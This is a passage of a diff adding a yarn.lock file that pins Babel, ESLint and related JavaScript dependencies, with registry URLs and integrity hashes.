+  resolved "https://registry.yarnpkg.com/@babel/helper-globals/-/helper-globals-7.28.0.tgz#b9430df2aa4e17bc28665eadeae8aa1d985e6674"
+  integrity sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==
+
+"@babel/helper-module-imports@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz#7ef769a323e2655e126673bb6d2d6913bbead204"
+  integrity sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==
+  dependencies:
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
+
+"@babel/helper-module-transforms@^7.28.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz#a2b37d3da3b2344fe085dab234426f2b9a2fa5f6"
+  integrity sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==
+  dependencies:
+    "@babel/helper-module-imports" "^7.27.1"
+    "@babel/helper-validator-identifier" "^7.27.1"
+    "@babel/traverse" "^7.28.3"
+
+"@babel/helper-string-parser@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687"
+  integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==
+
+"@babel/helper-validator-identifier@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz#a7054dcc145a967dd4dc8fee845a57c1316c9df8"
+  integrity sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==
+
+"@babel/helper-validator-option@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz#fa52f5b1e7db1ab049445b421c4471303897702f"
+  integrity sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==
+
+"@babel/helpers@^7.28.4":
+  version "7.28.4"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.28.4.tgz#fe07274742e95bdf7cf1443593eeb8926ab63827"
+  integrity sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==
+  dependencies:
+    "@babel/template" "^7.27.2"
+    "@babel/types" "^7.28.4"
+
+"@babel/parser@^7.24.4", "@babel/parser@^7.27.2", "@babel/parser@^7.28.3", "@babel/parser@^7.28.4":
+  version "7.28.4"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.4.tgz#da25d4643532890932cc03f7705fe19637e03fa8"
+  integrity sha512-yZbBqeM6TkpP9du/I2pUZnJsRMGGvOuIrhjzC1AwHwW+6he4mni6Bp/m8ijn0iOuZuPI2BfkCoSRunpyjnrQKg==
+  dependencies:
+    "@babel/types" "^7.28.4"
+
+"@babel/template@^7.27.2":
+  version "7.27.2"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.27.2.tgz#fa78ceed3c4e7b63ebf6cb39e5852fca45f6809d"
+  integrity sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==
+  dependencies:
+    "@babel/code-frame" "^7.27.1"
+    "@babel/parser" "^7.27.2"
+    "@babel/types" "^7.27.1"
+
+"@babel/traverse@^7.27.1", "@babel/traverse@^7.28.3", "@babel/traverse@^7.28.4":
+  version "7.28.4"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.28.4.tgz#8d456101b96ab175d487249f60680221692b958b"
+  integrity sha512-YEzuboP2qvQavAcjgQNVgsvHIDv6ZpwXvcvjmyySP2DIMuByS/6ioU5G9pYrWHM6T2YDfc7xga9iNzYOs12CFQ==
+  dependencies:
+    "@babel/code-frame" "^7.27.1"
+    "@babel/generator" "^7.28.3"
+    "@babel/helper-globals" "^7.28.0"
+    "@babel/parser" "^7.28.4"
+    "@babel/template" "^7.27.2"
+    "@babel/types" "^7.28.4"
+    debug "^4.3.1"
+
+"@babel/types@^7.27.1", "@babel/types@^7.28.2", "@babel/types@^7.28.4":
+  version "7.28.4"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.28.4.tgz#0a4e618f4c60a7cd6c11cb2d48060e4dbe38ac3a"
+  integrity sha512-bkFqkLhh3pMBUQQkpVgWDWq/lqzc2678eUyDlTBhRqhCHFguYYGM0Efga7tYk4TogG/3x0EEl66/OQ+WGbWB/Q==
+  dependencies:
+    "@babel/helper-string-parser" "^7.27.1"
+    "@babel/helper-validator-identifier" "^7.27.1"
+
+"@eslint-community/eslint-utils@^4.2.0":
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz#d1145bf2c20132d6400495d6df4bf59362fd9d56"
+  integrity sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==
+  dependencies:
+    eslint-visitor-keys "^3.4.3"
+
+"@eslint-community/regexpp@^4.12.1":
+  version "4.12.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/regexpp/-/regexpp-4.12.1.tgz#cfc6cffe39df390a3841cde2abccf92eaa7ae0e0"
+  integrity sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==
+
+"@eslint/config-array@^0.21.0":
+  version "0.21.0"
+  resolved "https://registry.yarnpkg.com/@eslint/config-array/-/config-array-0.21.0.tgz#abdbcbd16b124c638081766392a4d6b509f72636"
+  integrity sha512-ENIdc4iLu0d93HeYirvKmrzshzofPw6VkZRKQGe9Nv46ZnWUzcF1xV01dcvEg/1wXUR61OmmlSfyeyO7EvjLxQ==
+  dependencies:
+    "@eslint/object-schema" "^2.1.6"
+    debug "^4.3.1"
+    minimatch "^3.1.2"
+
+"@eslint/config-helpers@^0.3.1":
+  version "0.3.1"
+  resolved "https://registry.yarnpkg.com/@eslint/config-helpers/-/config-helpers-0.3.1.tgz#d316e47905bd0a1a931fa50e669b9af4104d1617"
+  integrity sha512-xR93k9WhrDYpXHORXpxVL5oHj3Era7wo6k/Wd8/IsQNnZUTzkGS29lyn3nAT05v6ltUuTFVCCYDEGfy2Or/sPA==
+
+"@eslint/core@^0.15.2":
+  version "0.15.2"
+  resolved "https://registry.yarnpkg.com/@eslint/core/-/core-0.15.2.tgz#59386327d7862cc3603ebc7c78159d2dcc4a868f"
+  integrity sha512-78Md3/Rrxh83gCxoUc0EiciuOHsIITzLy53m3d9UyiW8y9Dj2D29FeETqyKA+BRK76tnTp6RXWb3pCay8Oyomg==
+  dependencies:
+    "@types/json-schema" "^7.0.15"
+
+"@eslint/eslintrc@^3.3.1":
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-3.3.1.tgz#e55f7f1dd400600dd066dbba349c4c0bac916964"
+  integrity sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==
+  dependencies:
+    ajv "^6.12.4"
+    debug "^4.3.2"
+    espree "^10.0.1"
+    globals "^14.0.0"
+    ignore "^5.2.0"
+    import-fresh "^3.2.1"
+    js-yaml "^4.1.0"
+    minimatch "^3.1.2"
+    strip-json-comments "^3.1.1"
+
+"@eslint/js@9.33.0":
+  version "9.33.0"
+  resolved "https://registry.yarnpkg.com/@eslint/js/-/js-9.33.0.tgz#475c92fdddab59b8b8cab960e3de2564a44bf368"
+  integrity sha512-5K1/mKhWaMfreBGJTwval43JJmkip0RmM+3+IuqupeSKNC/Th2Kc7ucaq5ovTSra/OOKB9c58CGSz3QMVbWt0A==
+
+"@eslint/object-schema@^2.1.6":
+  version "2.1.6"
+  resolved "https://registry.yarnpkg.com/@eslint/object-schema/-/object-schema-2.1.6.tgz#58369ab5b5b3ca117880c0f6c0b0f32f6950f24f"
+  integrity sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==
+
+"@eslint/plugin-kit@^0.3.5":
+  version "0.3.5"
+  resolved "https://registry.yarnpkg.com/@eslint/plugin-kit/-/plugin-kit-0.3.5.tgz#fd8764f0ee79c8ddab4da65460c641cefee017c5"
+  integrity sha512-Z5kJ+wU3oA7MMIqVR9tyZRtjYPr4OC004Q4Rw7pgOKUOKkJfZ3O24nz3WYfGRpMDNmcOi3TwQOmgm7B7Tpii0w==
+  dependencies:
+    "@eslint/core" "^0.15.2"
+    levn "^0.4.1"
+
+"@humanfs/core@^0.19.1":
+  version "0.19.1"
+  resolved "https://registry.yarnpkg.com/@humanfs/core/-/core-0.19.1.tgz#17c55ca7d426733fe3c561906b8173c336b40a77"
+  integrity sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==
+
+"@humanfs/node@^0.16.6":
+  version "0.16.6"
+  resolved "https://registry.yarnpkg.com/@humanfs/node/-/node-0.16.6.tgz#ee2a10eaabd1131987bf0488fd9b820174cd765e"
+  integrity sha512-YuI2ZHQL78Q5HbhDiBA1X4LmYdXCKCMQIfw0pw7piHJwyREFebJUvrQN4cMssyES6x+vfUbx1CIpaQUKYdQZOw==
+  dependencies:
+    "@humanfs/core" "^0.19.1"
+    "@humanwhocodes/retry" "^0.3.0"
+
+"@humanwhocodes/module-importer@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz#af5b2691a22b44be847b0ca81641c5fb6ad0172c"
+  integrity sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==
+
+"@humanwhocodes/retry@^0.3.0":
+  version "0.3.1"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.3.1.tgz#c72a5c76a9fbaf3488e231b13dc52c0da7bab42a"
+  integrity sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==
+
+"@humanwhocodes/retry@^0.4.2":
+  version "0.4.2"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.4.2.tgz#1860473de7dfa1546767448f333db80cb0ff2161"
+  integrity sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==
+
+"@jridgewell/gen-mapping@^0.3.12", "@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.13"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz#6342a19f44347518c93e43b1ac69deb3c4656a1f"
+  integrity sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==
+  dependencies:
+    "@jridgewell/sourcemap-codec" "^1.5.0"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/remapping@^2.3.5":
+  version "2.3.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/remapping/-/remapping-2.3.5.tgz#375c476d1972947851ba1e15ae8f123047445aa1"
+  integrity sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
+"@jridgewell/sourcemap-codec@^1.4.14", "@jridgewell/sourcemap-codec@^1.5.0":
+  version "1.5.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz#6912b00d2c631c0d15ce1a7ab57cd657f2a8f8ba"
+  integrity sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==
+
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.28":
+  version "0.3.31"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz#db15d6781c931f3a251a3dac39501c98a6082fd0"
+  integrity sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@types/estree@^1.0.6":
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.6.tgz#628effeeae2064a1b4e79f78e81d87b7e5fc7b50"
+  integrity sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==
+
+"@types/json-schema@^7.0.15":
+  version "7.0.15"
+  resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.15.tgz#596a1747233694d50f6ad8a7869fcb6f56cf5841"
+  integrity sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==
+
+acorn-jsx@^5.3.2:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn@^8.14.0:
+  version "8.14.0"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.0.tgz#063e2c70cac5fb4f6467f0b11152e04c682795b0"
+  integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==
+
+acorn@^8.15.0:
+  version "8.15.0"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.15.0.tgz#a360898bc415edaac46c8241f6383975b930b816"
+  integrity sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==
+
+ajv@^6.12.4:
+  version "6.12.6"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+argparse@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
+  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
+
+balanced-match@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
+  integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
+
+baseline-browser-mapping@^2.8.9:
+  version "2.8.10"
+  resolved "https://registry.yarnpkg.com/baseline-browser-mapping/-/baseline-browser-mapping-2.8.10.tgz#32eb5e253d633fa3fa3ffb1685fabf41680d9e8a"
+  integrity sha512-uLfgBi+7IBNay8ECBO2mVMGZAc1VgZWEChxm4lv+TobGdG82LnXMjuNGo/BSSZZL4UmkWhxEHP2f5ziLNwGWMA==
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+browserslist@^4.24.0:
+  version "4.26.3"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.26.3.tgz#40fbfe2d1cd420281ce5b1caa8840049c79afb56"
+  integrity sha512-lAUU+02RFBuCKQPj/P6NgjlbCnLBMp4UtgTx7vNHd3XSIJF87s9a5rA3aH2yw3GS9DqZAUbOtZdCCiZeVRqt0w==
+  dependencies:
+    baseline-browser-mapping "^2.8.9"
+    caniuse-lite "^1.0.30001746"
+    electron-to-chromium "^1.5.227"
+    node-releases "^2.0.21"
+    update-browserslist-db "^1.1.3"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+caniuse-lite@^1.0.30001746:
+  version "1.0.30001746"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001746.tgz#199d20f04f5369825e00ff7067d45d5dfa03aee7"
+  integrity sha512-eA7Ys/DGw+pnkWWSE/id29f2IcPHVoE8wxtvE5JdvD2V28VTDPy1yEeo11Guz0sJ4ZeGRcm3uaTcAqK1LXaphA==
+
+chalk@^4.0.0:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
+
+convert-source-map@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a"
+  integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==
+
+cross-spawn@^7.0.6:
+  version "7.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+debug@^4.1.0:
+  version "4.4.3"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.3.tgz#c6ae432d9bd9662582fce08709b038c58e9e3d6a"
+  integrity sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==
+  dependencies:
+    ms "^2.1.3"
+
+debug@^4.3.1, debug@^4.3.2:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+deep-is@^0.1.3:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+electron-to-chromium@^1.5.227:
+  version "1.5.228"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.228.tgz#38b849bc8714bd21fb64f5ad56bf8cfd8638e1e9"
+  integrity sha512-nxkiyuqAn4MJ1QbobwqJILiDtu/jk14hEAWaMiJmNPh1Z+jqoFlBFZjdXwLWGeVSeu9hGLg6+2G9yJaW8rBIFA==
+
+escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+"eslint-plugin-react-hooks@link:../../build/oss-stable/eslint-plugin-react-hooks":
+  version "0.0.0"
+  uid ""
+
+eslint-scope@^8.4.0:
+  version "8.4.0"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-8.4.0.tgz#88e646a207fad61436ffa39eb505147200655c82"
+  integrity sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^5.2.0"
+
+eslint-visitor-keys@^3.4.3:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800"
+  integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==
+
+eslint-visitor-keys@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-4.2.0.tgz#687bacb2af884fcdda8a6e7d65c606f46a14cd45"
+  integrity sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==
+
+eslint-visitor-keys@^4.2.1:
+  version "4.2.1"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz#4cfea60fe7dd0ad8e816e1ed026c1d5251b512c1"
+  integrity sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==
+
+eslint@^9.33.0:
+  version "9.33.0"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-9.33.0.tgz#cc186b3d9eb0e914539953d6a178a5b413997b73"
+  integrity sha512-TS9bTNIryDzStCpJN93aC5VRSW3uTx9sClUn4B87pwiCaJh220otoI0X8mJKr+VcPtniMdN8GKjlwgWGUv5ZKA==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.12.1"
+    "@eslint/config-array" "^0.21.0"
+    "@eslint/config-helpers" "^0.3.1"
+    "@eslint/core" "^0.15.2"
+    "@eslint/eslintrc" "^3.3.1"
+    "@eslint/js" "9.33.0"
+    "@eslint/plugin-kit" "^0.3.5"
+    "@humanfs/node" "^0.16.6"
+    "@humanwhocodes/module-importer" "^1.0.1"
+    "@humanwhocodes/retry" "^0.4.2"
+    "@types/estree" "^1.0.6"
+    "@types/json-schema" "^7.0.15"
+    ajv "^6.12.4"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.6"
+    debug "^4.3.2"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^8.4.0"
+    eslint-visitor-keys "^4.2.1"
+    espree "^10.4.0"
+    esquery "^1.5.0"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^8.0.0"
+    find-up "^5.0.0"
+    glob-parent "^6.0.2"
+    ignore "^5.2.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.1.2"
+    natural-compare "^1.4.0"
+    optionator "^0.9.3"
+
+espree@^10.0.1:
+  version "10.3.0"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-10.3.0.tgz#29267cf5b0cb98735b65e64ba07e0ed49d1eed8a"
+  integrity sha512-0QYC8b24HWY8zjRnDTL6RiHfDbAWn63qb4LMj1Z4b076A4une81+z03Kg7l7mn/48PUTqoLptSXez8oknU8Clg==
+  dependencies:
+    acorn "^8.14.0"
+    acorn-jsx "^5.3.2"
+    eslint-visitor-keys "^4.2.0"
+
+espree@^10.4.0:
+  version "10.4.0"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-10.4.0.tgz#d54f4949d4629005a1fa168d937c3ff1f7e2a837"
+  integrity sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==
+  dependencies:
+    acorn "^8.15.0"
+    acorn-jsx "^5.3.2"
+    eslint-visitor-keys "^4.2.1"
+
+esquery@^1.5.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
+esrecurse@^4.3.0:
+  version "4.3.0"
